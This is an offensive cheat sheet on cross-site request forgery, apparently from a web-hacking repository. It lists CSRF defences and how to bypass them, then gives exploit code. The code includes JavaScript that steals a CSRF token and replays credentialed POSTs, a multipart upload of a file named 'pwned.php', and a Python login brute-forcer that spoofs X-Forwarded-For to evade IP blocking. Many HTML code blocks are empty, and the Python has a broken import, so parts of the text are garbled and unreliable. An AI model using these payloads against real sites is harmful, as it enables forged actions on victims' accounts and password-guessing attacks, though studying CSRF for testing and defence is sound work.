# CSRF (Cross-Site Request Forgery) Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP ## Common Defenses * SameSite cookies * Cross-origin resource sharing * Ask for the password user to authorise the action * Resolve a captcha * Read the **Referrer** or **Origin** headers If a regex is used it could be bypassed form example with: * http://mal.net?orig=http://example.com (ends with the url) * http://example.com.mal.net (starts with the url) * Modify the name of the parameters of the **Post** or **Get** request * Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS. ## Defences Bypass ### 1. From POST to GET ### 2. Lack of token Some applications correctly validate the token when it is present but skip the validation if the token is omitted. ### 3. CSRF token is not tied to the user session ### 4. Method bypass If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a `PUT` method you can try to use a `POST` method and send: https://example.com/my/dear/api/val/num?_method=PUT This could also works sending the `_method` parameter inside the a `POST` request or using the headers: * `X-HTTP-Method` * `X-HTTP-Method-Override` * `X-Method-Override` ### 5. Custom header token bypass If the request is adding a custom header with a token to the request as CSRF protection method, then: * Test the request without the Customized Token and also header * Test the request with exact same length but different token ### 6. CSRF token is verified by a cookie Some applications duplicate each token within a cookie and a request parameter. Or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie. * you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example ```html
``` > Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself. ### 7. Content-Type change in order to avoid preflight requests using `POST` method these are the allowed Content-Type values: * `application/x-www-form-urlencoded` * `multipart/form-data` * `text/plain` sending JSON data as text/plain ```html
``` ### 8. Referrer / Origin check bypass Avoid Referrer header ```html ``` To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do: ```html
``` ## Exploit ### Exfiltrating CSRF Token If a CSRF token is being used as defence you could try to exfiltrate it abusing a **XSS** vulnerability or a **Dangling Markup** vulnerability. ### GET using HTML tags ```html

404 - Page not found

The URL you are requesting is no longer available ``` Other HTML5 tags that can be used to **automatically** send a `GET` request are: ![get](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/0bb0e0ba-2fd5-4d2e-92a0-eec99fc34cec) ### Form GET request ```html
``` ### Form POST request ```html
``` ### Form POST request through iframe ```html
``` ### Ajax POST request ```html ``` ### multipart/form-data POST request ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, mode: "no-cors" }); ``` ### multipart/form-data POST request v2 ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open("POST", url, true); // MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + ctype + "\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` ### HTML POST - AutoSubmit - No User Interaction ```html
``` ### JSON GET - Simple Request ```html ``` ### JSON POST - Simple Request ```html ``` ### JSON POST - Complex Request ```html ``` ### Form POST request from within an iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### Steal CSRF Token and send a POST request ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.withCredentials = true; // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // This is for debugging and can be removed xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { var xhr = new XMLHttpRequest(); // This tels it to return it as a HTML document xhr.responseType = "document"; xhr.withCredentials = true; // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token"); // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value); } }; // Make the request xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` ### Steal CSRF Token and send a Post request using an iframe, a form and Ajax ```html
``` ### Steal CSRF Token and sen a POST request using an iframe and a form ```html ``` ### Steal token and send it using 2 iframes ```html
``` ### POST Steal CSRF token with Ajax and send a post with a form ```html
``` ### CSRF with Socket.IO ```html ``` ## CSRF Login Brute Force The code can be used to Brut Force a login form using a CSRF token (It's also using the header `X-Forwarded-For` to try to bypass a possible IP blacklisting): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Tools * https://github.com/0xInfection/XSRFProbe * https://github.com/merttasci/csrf-poc-generator ## CSRF map ![csrf](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/ae6145d7-73cf-4881-9919-2ebe1a53f2b3)